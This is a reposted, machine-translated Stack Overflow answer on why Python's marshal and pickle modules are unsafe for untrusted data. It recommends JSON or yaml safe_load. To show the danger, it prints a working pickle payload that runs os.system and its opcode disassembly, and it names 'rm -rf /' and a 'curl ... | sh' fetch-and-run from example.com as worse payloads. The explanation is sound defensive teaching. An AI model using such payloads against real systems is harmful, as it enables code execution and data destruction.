gpt4 book ai didi

python - 编码(marshal)反序列化 - 不安全

转载 作者:太空狗 更新时间:2023-10-29 20:56:08 24 4
gpt4 key购买 nike

我在一个项目中使用 cPickle 来快速加载文件。几天前,我读到 marshal 甚至可以比 cPickle 更快。它对我有用,但我很好奇,来自 the documentation 的警告是什么?关于:

Warning

The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source.

如果我不小心,究竟会发生什么?

最佳答案

编码(marshal)

没有已知方法可以利用marshal。实际执行代码时使用 marshal.loads() 不是我能做的,看着marhal.c 源代码,我没有立即看到明显的方法。

那么为什么会出现这个警告呢? The BDFL explains :

BTW the warning for marshal is legit -- the C code that unpacks marshal data has not been carefully analyzed against buffer overflows and so on. Remember the first time someone broke into a system through a malicious JPEG? The same could happen with marshal. Seriously.

我建议您阅读其余的讨论;错误显示在哪里解码数据会导致 Python 出现段错误;自 Python 以来,这已得到修复2.5(这个错误可能会被滥用来执行代码)。其他错误可能不过仍然存在!

此外,marshal 文档提到:

This is not a general “persistence” module. [..] The marshal module exists mainly to support reading and writing the “pseudo-compiled” code for Python modules of .pyc files.

因此,它甚至不是为了以可靠的方式持久化数据而设计的。

泡菜

您可以使用pickle 轻松执行任意代码。例如:

>>> import pickle
>>> pickle.loads(b"cos\nsystem\n(S'ls /'\ntR.")
bin data download home lib64 mnt proc run srv tmp usr var
boot dev etc lib lost+found opt root sbin sys ubuntu vagrant
0

这是一个无害的 ls/,但也可以是一个不太无害的 rm -rf/,或者 curl http://example.com/hack.sh | sh.

您可以使用 pickletools 模块查看其工作原理:

>>> import pickletools
>>> pickletools.dis(b"cos\nsystem\n(S'ls /'\ntR.")
0: c GLOBAL 'os system'
11: ( MARK
12: S STRING 'ls /'
20: t TUPLE (MARK at 11)
21: R REDUCE
22: . STOP

pickle.py 对这些操作码的含义有一些评论:

GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args 
MARK = b'(' # push special markobject on stack
STRING = b'S' # push string; NL-terminated string argument
TUPLE = b't' # build tuple from topmost stack items
REDUCE = b'R' # apply callable to argtuple, both on stack
STOP = b'.' # every pickle ends with STOP

其中大部分是不言自明的;使用 GLOBAL 您可以获得任何功能,并且用 REDUCE 调用它。

由于 Python 非常动态,您还可以使用它来猴子修补程序在运行时。例如,您可以将 check_password 函数更改为将密码上传到服务器的地方。

那么什么是安全的?

XML、json、MessagePack、ini 文件或其他内容。这取决于哪种格式最适合您的情况。

这段代码是否“针对缓冲区溢出等问题进行了仔分割析”?谁知道。大多数代码都没有,C 使得做错事变得容易。1 即使是 Python代码可能容易受到攻击,因为它 may call functions implemented in C that arevulnerable .

have been problems with Python's JSON module .但同时时间,它在面向公众的应用程序中使用了很多,所以它可能是安全的。它会肯定比 marshal 更安全,因为它只是为 .pyc 文件设计的并明确附带“未审核!”警告。

这当然不能保证。请记住 YAML security hole a few years backthat caused every Ruby on Rails application in the world to be vulnerable toarbitrary code execution .哎呀!这甚至不是一个微妙的缓冲区溢出,但一个更明显的问题。

注意你不应该使用yamlload() 方法,因为它有 thesame problems as Ruby's YAML .请改用 safe_load()

结论

pickle 模块中的警告非常有根据(应该是state stronger),而 marshal 模块上方的警告似乎更多“此代码在设计时并未考虑安全”类型的警告,但是实际上利用它并不容易,并且依赖于假设的存在关于未知的错误。不过,您最好还是使用其他东西。


1 开源项目确实应该有一个“针对缓冲区溢出等进行仔分割析”的信任印章。是的,您可以花大价钱让 Veracode 等分析您的代码,但这对于开源项目来说是不可行的。在几年前以 Core Infrastructure Initiative 的形式出现 OpenSSL Heartbleed clusterfuck 之后,一些努力做到这一点。 ,但它的范围和预算相当有限(但它还很年轻,可能会在几年内获得关注)。

关于python - 编码(marshal)反序列化 - 不安全,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/26931919/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com